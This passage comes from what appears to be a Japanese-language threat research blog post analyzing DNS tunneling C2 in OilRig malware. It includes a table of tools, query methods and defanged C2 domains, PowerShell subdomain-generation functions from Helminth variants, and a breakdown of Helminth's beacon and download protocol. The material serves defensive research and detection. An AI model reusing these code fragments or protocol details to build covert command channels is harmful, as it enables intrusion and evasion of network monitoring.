A\u3001AAAA\u3001\u307e\u305f\u306fTXT\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u3069\u306e\u3088\u3046\u306bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u304b\u3082\u7570\u306a\u308a\u307e\u3059\u3002\u30c4\u30fc\u30eb\u306b\u3088\u3063\u3066\u306f\u3001\u7d44\u307f\u8fbc\u307f\u306enslookup\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3001UdpClient\u30af\u30e9\u30b9\u5185\u306e\u30e1\u30bd\u30c3\u30c9\u3001DNS\u30af\u30e9\u30b9\u306e\u30e1\u30bd\u30c3\u30c9GetHostByName\u3084GetHostAddresses\u3001Dnsapi\u30e9\u30a4\u30d6\u30e9\u30ea\u5185\u306eDnsQuery API\u95a2\u6570\u306a\u3069\u3092\u4f7f\u3063\u3066DNS\u30af\u30a8\u30ea\u304c\u767a\u884c\u3055\u308c\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002 \u88682\u306b\u306f\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u53d6\u308a\u4e0a\u3052\u305f5\u3064\u306e\u30c4\u30fc\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30c4\u30fc\u30eb\u306f\u3001\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u4f7f\u7528\u3055\u308c\u308b\u3044\u304f\u3064\u304b\u306e\u7570\u306a\u308bDNS\u30af\u30a8\u30ea\u30bf\u30a4\u30d7\u3068\u3001DNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3059\u308b\u305f\u3081\u306b\u30c4\u30fc\u30eb\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u308b\u3055\u307e\u3056\u307e\u306a\u6a5f\u80fd\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u3001C2\u30c9\u30e1\u30a4\u30f3\u306e\u5217\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u95a2\u9023\u30c4\u30fc\u30eb\u306eC2\u30b5\u30fc\u30d0\u30fc\u3092\u30db\u30b9\u30c8\u3059\u308b\u305f\u3081\u306b\u304b\u3064\u3066OilRig\u304c\u4f7f\u7528\u3057\u3066\u3044\u305f\u30c9\u30e1\u30a4\u30f3\u540d\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>\u30c4\u30fc\u30eb<\/strong><\/td>\n<td><strong>DNS\u306e\u7a2e\u985e<\/strong><\/td>\n<td><strong>DNS\u30af\u30a8\u30ea\u30e1\u30bd\u30c3\u30c9<\/strong><\/td>\n<td><strong>C2\u30c9\u30e1\u30a4\u30f3\u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Helminth<\/td>\n<td>A<\/td>\n<td>[System.Net.DNS]::GetHostByName<\/td>\n<td>go0gie[.]com<\/td>\n<\/tr>\n<tr>\n<td>ISMAgent<\/td>\n<td>AAAA<\/td>\n<td>DnsQuery_A<\/td>\n<td>ntpupdateserver[.]com<\/td>\n<\/tr>\n<tr>\n<td>ALMACommunicator<\/td>\n<td>A<\/td>\n<td>DnsQuery_W<\/td>\n<td>prosalar[.]com<\/td>\n<\/tr>\n<tr>\n<td>BONDUPDATER<\/td>\n<td>A, TXT<\/td>\n<td>[System.Net.Dns]::GetHostAddresses, System.Net.Sockets.UdpClient<\/td>\n<td>poison-frog[.]club, withyourface[.]com<\/td>\n<\/tr>\n<tr>\n<td>QUADAGENT<\/td>\n<td>AAAA<\/td>\n<td>nslookup.exe, Resolve-DnsName<\/td>\n<td>acrobatverify[.]com<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88682C2\u306bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3059\u308bOilRig\u306e\u30c4\u30fc\u30eb\u3067\u4f7f\u7528\u3055\u308c\u308bDNS\u306e\u7a2e\u985e\u3068\u30af\u30a8\u30ea\u30e1\u30bd\u30c3\u30c9<\/em><\/p>\n<p>\u3053\u306e\u5f8c\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u306f\u3001OilRig\u306e\u5404\u30c4\u30fc\u30eb\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u8a73\u7d30\u306a\u5206\u6790\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n<h2>Helminth<\/h2>\n<p>OilRig\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306f\u653b\u6483\u904e\u7a0b\u3067\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u7a4d\u6975\u7684\u306b\u958b\u767a\u3057\u3066\u3044\u305f\u305f\u3081\u3001Helminth\u306b\u306f\u3044\u304f\u3064\u304b\u306e\u4e9c\u7a2e\u304c\u3042\u308a\u307e\u3059\u3002Helminth \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001PE\u7248\u3068PowerShell\u7248\u306e2\u5f62\u5f0f\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3069\u3061\u3089\u3082\u958b\u767a\u904e\u7a0b\u3067DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u3046\u3088\u3046\u306b\u66f4\u65b0\u3055\u308c\u307e\u3057\u305f\u3002\u5404\u4e9c\u7a2e\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u540c\u3058\u3088\u3046\u306b\u6a5f\u80fd\u3057\u307e\u3057\u305f\u304c\u3001\u958b\u767a\u8005\u306f\u751f\u6210\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u5909\u66f4\u3057\u3066\u8996\u899a\u7684\u306b\u898b\u305f\u76ee\u3092\u5909\u3048\u3066\u691c\u51fa\u3092\u56de\u907f\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u305f\u3068\u3048\u3070\u3001\u4ee5\u4e0b\u306e\u56f32\u30013\u30014\u306f\u3001PowerShell \u7248 Helminth\u306e3\u3064\u306e\u4e9c\u7a2e\u3067\u4f7f\u7528\u3055\u308c\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u751f\u6210\u95a2\u6570\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u540c\u3058\u69cb\u9020\u3092\u6301\u3064\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u52b9\u679c\u7684\u306b\u751f\u6210\u3057\u307e\u3059\u304c\u3001\u6700\u521d\u306e2\u6587\u5b57\u306f \"00\"\u3001 \"zz\"\u3001 \"ww\"\u3068\u3044\u3046\u3088\u3046\u306b\u305d\u308c\u305e\u308c\u7570\u306a\u3063\u3066\u3044\u307e\u3059\u3002Helminth\u306ePE\u30d5\u30a1\u30a4\u30eb\u3068PowerShell\u306e\u4e9c\u7a2e\u306f\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u7528\u306b\u7570\u306a\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u751f\u6210\u3057\u307e\u3059\u304c\u3001\u3053\u3053\u3067\u306f\u3001\u8996\u899a\u5316\u304c\u5bb9\u6613\u306a\u306e\u3067\u3001PowerShell\u306e\u4e9c\u7a2e\u306b\u7126\u70b9\u3092\u5f53\u3066\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">function GetSub($myflag2, $cmdid='00', $partid='000')\r\n\r\n{\r\n\r\nif($myflag2 -eq 0)\r\n\r\n{\r\n\r\n('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\nelseif($myflag2 -eq 1)\r\n\r\n{\r\n\r\n('00'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\nelseif($myflag2 -eq 2)\r\n\r\n{\r\n\r\n('00'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\n}<\/pre>\n<p><em>\u56f32 \u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u751f\u6210\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308bHelminth \"00\" \u4e9c\u7a2e\u306e\u30b3\u30fc\u30c9<\/em><\/p>\n<pre class=\"lang:default decode:true\">function GetSub($myflag3, $cmdid='00', $partid='000')\r\n\r\n{\r\n\r\nif($myflag3 -eq 0)\r\n\r\n{\r\n\r\n('ww000000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\nelseif($myflag3 -eq 1)\r\n\r\n{\r\n\r\n('ww'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\nelseif($myflag3 -eq 2)\r\n\r\n{\r\n\r\n('ww'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n\r\n}\r\n\r\n}<\/pre>\n<p><em>\u56f33 \u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u751f\u6210\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308bHelminth \"zz\" \u4e9c\u7a2e\u306e\u30b3\u30fc\u30c9<\/em><\/p>\n<pre class=\"lang:default decode:true \">function GetSub($myflag2, $cmdid='00', $partid='000')\r\n\r\n{\r\n\r\nif($myflag2 -eq 0)\r\n\r\n{\r\n\r\n('zz000000'+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n\r\n}\r\n\r\nelseif($myflag2 -eq 1)\r\n\r\n{\r\n\r\n('zz'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n\r\n}\r\n\r\nelseif($myflag2 -eq 2)\r\n\r\n{\r\n\r\n('zz'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n\r\n}\r\n\r\n}<\/pre>\n<p><em>\u56f34 \u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u751f\u6210\u306b\u4f7f\u7528\u3055\u308c\u308bHelminth\u306e \"ww\" \u4e9c\u7a2e\u306e\u30b3\u30fc\u30c9<\/em><\/p>\n<p>\u751f\u6210\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u6700\u521d\u306e\u6587\u5b57\u3068\u3057\u3066 \"00\" \u3092\u4f7f\u7528\u3059\u308bHelminth\u306e\u4e9c\u7a2e\u306f\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306e\u6700\u521d\u306e\u4e9c\u7a2e\u3067\u3001\u79c1\u305f\u3061\u306f\u3053\u308c\u3092<a href=\"https:\/\/unit42.paloaltonetworks.com\/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor\">2016\u5e745\u6708\u306e\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u306e\u6a19\u7684\u3078\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3<\/a>\u3067\u5229\u7528\u3055\u308c\u305f\u4e9c\u7a2e\u3068\u3057\u3066\u5206\u6790\u3057\u3066\u3044\u307e\u3059\u3002DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306e\u8aac\u660e\u3067\u306f\u3001 \"00\"\u306e\u4e9c\u7a2e\u304c\u4e3b\u306a\u7126\u70b9\u306b\u306a\u308a\u307e\u3059\u304c\u3001\u4e0a\u306e\u56f3\u304c\u793a\u3059\u3088\u3046\u306b\u3001 \"ww\"\u3068 \"zz\"\u306e\u4e9c\u7a2e\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u6700\u521d\u306e2\u30d0\u30a4\u30c8\u306b\u7570\u306a\u308b\u6587\u5b57\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3060\u3051\u3067\u307b\u304b\u306f\u307e\u3063\u305f\u304f\u540c\u3058\u3067\u3059\u3002<\/p>\n<p>Helminth\u306e\u4e9c\u7a2e\u306f\u3001C2\u30c9\u30e1\u30a4\u30f3\u306b\u3042\u308b\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308bDNS Type A\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u4f7f\u3063\u3066\u3001\u6700\u7d42\u7684\u306b\u30d1\u30fc\u30b9\u3057\u3066\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3046IPv4\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u5f97\u307e\u3059\u3002\u672c\u4e9c\u7a2e\u306fSystem.Net.DNS\u30af\u30e9\u30b9\u306eGetHostByName\u30e1\u30bd\u30c3\u30c9\u3092\u4f7f\u7528\u3057\u3066\u3053\u308c\u3089\u306eDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002Helminth\u30c4\u30fc\u30eb\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u3066\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f5c\u6210\u3057\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u3066\u7d50\u679c\u3092DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067C2\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u308c\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u3001Helminth\u30c4\u30fc\u30eb\u306f\u6700\u521d\u306eDNS\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u30672\u3064\u306e\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fIP\u30a2\u30c9\u30ec\u30b9\u3092\u63a2\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>IP\u30a2\u30c9\u30ec\u30b9<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td>33.33.x.x<\/td>\n<td>\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u6307\u5b9a\u3057\u3001\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u4fdd\u5b58\u3059\u308b\u30c7\u30fc\u30bf\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3092\u958b\u59cb\u3059\u308b\u3088\u3046\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td>35.35.35.35<\/td>\n<td>\u30c7\u30fc\u30bf\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3092\u505c\u6b62\u3057\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3088\u3046\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88683 Helminth\u304cDNS\u30c8\u30f3\u30cd\u30eb\u3092\u4ecb\u3057\u305f\u30c7\u30fc\u30bf\u8ee2\u9001\u306b\u4f7f\u7528\u3059\u308bIPv4\u30a2\u30c9\u30ec\u30b9<\/em><\/p>\n<p>Helminth\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u5bfe\u8a71\u3092\u958b\u59cb\u3059\u308b\u306b\u3042\u305f\u308a\u3001\u30d3\u30fc\u30b3\u30f3\u3068\u3057\u3066\u6a5f\u80fd\u3059\u308b\u7279\u5225\u306a\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002C2\u306f\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u306bDNS\u306eAnwer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3057\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3053\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3092C2\u304b\u3089\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3092\u53d6\u5f97\u3059\u308b\u306e\u306b\u5229\u7528\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001IPv4\u306e\u6700\u521d\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u306e\u6570\u5024\u3092\u6587\u5b57\u306b\u5909\u63db\u3057\u3001\u3053\u306e\u6587\u5b57\u3092\u5f8c\u306b\u7d9a\u304fDNS\u30af\u30a8\u30ea\u3067\u30b7\u30b9\u30c6\u30e0\u3092\u4e00\u610f\u306b\u8b58\u5225\u3059\u308b\u305f\u3081\u306b\u5229\u7528\u3057\u307e\u3059\u3002C2\u304b\u3089\u30b7\u30b9\u30c6\u30e0ID\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e\u521d\u671f\u30d3\u30fc\u30b3\u30f3\u306f\u4ee5\u4e0b\u306e\u69cb\u9020\u3092\u6301\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">00000000&lt;base36 encoded random number less than 46655&gt;&lt;sequence number \"30\"&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>\u7b54\u3048\u307e\u3059\u56f35\u306f\u3001\u3053\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u306f\u30018\u500b\u306e\u30bc\u30ed\u306e\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u5217(\"00000000\")\u3068\u305d\u308c\u306b\u7d9a\u304fbase36\u30a8\u30f3\u30b3\u30fc\u30c9\u306e\u4e71\u6570\u7528\u306e3\u6587\u5b57\u3001\u304a\u3088\u3073\u6587\u5b57 \"0\"\u3092\u8868\u3059 \"30\"\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u304b\u3089\u306a\u308a\u307e\u3059\u3002\u56f35\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304cDNS\u30ea\u30af\u30a8\u30b9\u30c8\u3078\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066\u3001\"35.0.0.0\"\u3068\u3044\u3046IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3059\u308b\u69d8\u5b50\u3082\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306eIP\u30a2\u30c9\u30ec\u30b9\u306f\u300135\u3068\u3044\u3046\u6570\u5b57\u304cASCII\u306e\"5\"\u306e\u6587\u5b57\u3092\u8868\u3059\u305f\u3081\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3068\u3057\u3066\"5\"\u306e\u6587\u5b57\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u5f8c\u7d9a\u306e\u30af\u30a8\u30ea\u3067\u3053\u306eID\u3092\u4f7f\u7528\u3057\u3001\u3053\u306e\u5f8c\u7d9a\u30af\u30a8\u30ea\u3092C2\u30b5\u30fc\u30d0\u30fc\u304c\u30b7\u30b9\u30c6\u30e0\u306e\u8b58\u5225\u306b\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101463\" aria-describedby=\"caption-attachment-101463\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101463 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212.png\" alt=\"\u56f35 Helminth\u304b\u3089\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3067\u5fdc\u7b54\u3059\u308bC2\" width=\"974\" height=\"81\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212-300x25.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212-768x64.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212-900x75.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-212-370x31.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101463\" class=\"wp-caption-text\">\u56f35 Helminth\u304b\u3089\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3067\u5fdc\u7b54\u3059\u308bC2<\/figcaption><\/figure>\n<p>\u6b21\u306e\u30af\u30a8\u30ea\u306b\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e3\u756a\u76ee\u306e\u6587\u5b57\u3068\u3057\u3066C2\u306b\u3088\u3063\u3066\u63d0\u4f9b\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0ID\u3068\u3001\u305d\u308c\u306b\u7d9a\u304fbase36\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u4e71\u6570\u3001\u304a\u3088\u3073\u6587\u5b57 \"0\"\u3092\u8868\u3059\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7 \"30\"\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u3053\u306e\u30af\u30a8\u30ea\u306e\u69cb\u9020\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u307e\u3060\u30c7\u30fc\u30bf\u306e\u53d7\u4fe1\u3092\u958b\u59cb\u3057\u3066\u3044\u306a\u3044\u305f\u3081\u3001\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\"30\"\u3092\u518d\u5229\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">00&lt;system identifier&gt;00000&lt;base36 encoded random number less than 46655&gt;&lt;sequence number \"30\"&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>C2\u306f\"33.33.x.x\"\u3068\u3057\u3066\u69cb\u9020\u5316\u3055\u308c\u305fIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u542b\u3080\u30ec\u30b9\u30dd\u30f3\u30b9\u3067\u3053\u306e\u30af\u30a8\u30ea\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306e\u969b\u3001Helminth\u306f\"33.33.xx\"\u306e\u6700\u5f8c\u306e2\u30aa\u30af\u30c6\u30c3\u30c8(\"x.x\")\u3092\u6574\u6570\u3068\u3057\u3066\u6271\u3044\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4fdd\u5b58\u3059\u308b\u306e\u306b\u4f7f\u7528\u3059\u308b\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u305f\u3081\u306e\u6587\u5b57\u306b\u5909\u63db\u3057\u307e\u3059\u3002Helminth\u306f \".bat\"\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u3092\u3053\u308c\u30892\u6587\u5b57\u306b\u9023\u7d50\u3057\u3066\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f5c\u6210\u3057\u3001\u3055\u3089\u306bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3066\u3001\u3053\u306e\u5f8c\u7d9a\u3059\u308bDNS\u3078\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u542b\u307e\u308c\u308bIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u56f36\u306f\u3001\u30af\u30a8\u30ea\u306b\u30b7\u30b9\u30c6\u30e0ID\u304c\u542b\u307e\u308c\u308b\u69d8\u5b50\u3068C2\u304cIPv4\u30a2\u30c9\u30ec\u30b9\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306b\"33.33.97.97\"\u3092\u542b\u3081\u3066\u5fdc\u7b54\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\"33.33.97.97\"\u306e\u3046\u3061\"97.97\" \u3092\u4f7f\u7528\u3057\u3066Helminth\u306f\"aa.bat\"\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u307e\u3059\u300297\u3068\u3044\u3046\u6570\u5024\u306f\u3001ASCII\u6587\u5b57\u3067\"a\"\u306b\u76f8\u5f53\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101465\" aria-describedby=\"caption-attachment-101465\" style=\"width: 968px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101465 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213.png\" alt=\"\u56f36 2\u6587\u5b57\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092Helminth\u306b\u63d0\u4f9b\u3059\u308bC2\" width=\"968\" height=\"77\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213.png 968w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213-300x24.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213-768x61.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213-900x72.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-213-370x29.png 370w\" sizes=\"(max-width: 968px) 100vw, 968px\" \/><figcaption id=\"caption-attachment-101465\" class=\"wp-caption-text\">\u56f36 2\u6587\u5b57\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092Helminth\u306b\u63d0\u4f9b\u3059\u308bC2<\/figcaption><\/figure>\n<p>C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u3001Helminth\u306f\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064DNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u305f\u4ee5\u524d\u306e\u30af\u30a8\u30ea\u3068\u4f3c\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u308c\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u306f\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u5217 \"232A\"\u3068\u305d\u306e\u5f8c\u306b\u7d9a\u304f2\u6587\u5b57\u5206\u306e16\u9032\u8868\u73fe\u304c\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u304c\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">00&lt;system identifier&gt;00000&lt;base 36 encoded random number less than 46655&gt;232A&lt;hexlified characters for filename&gt;&lt;sequence number&gt;.&lt;c2 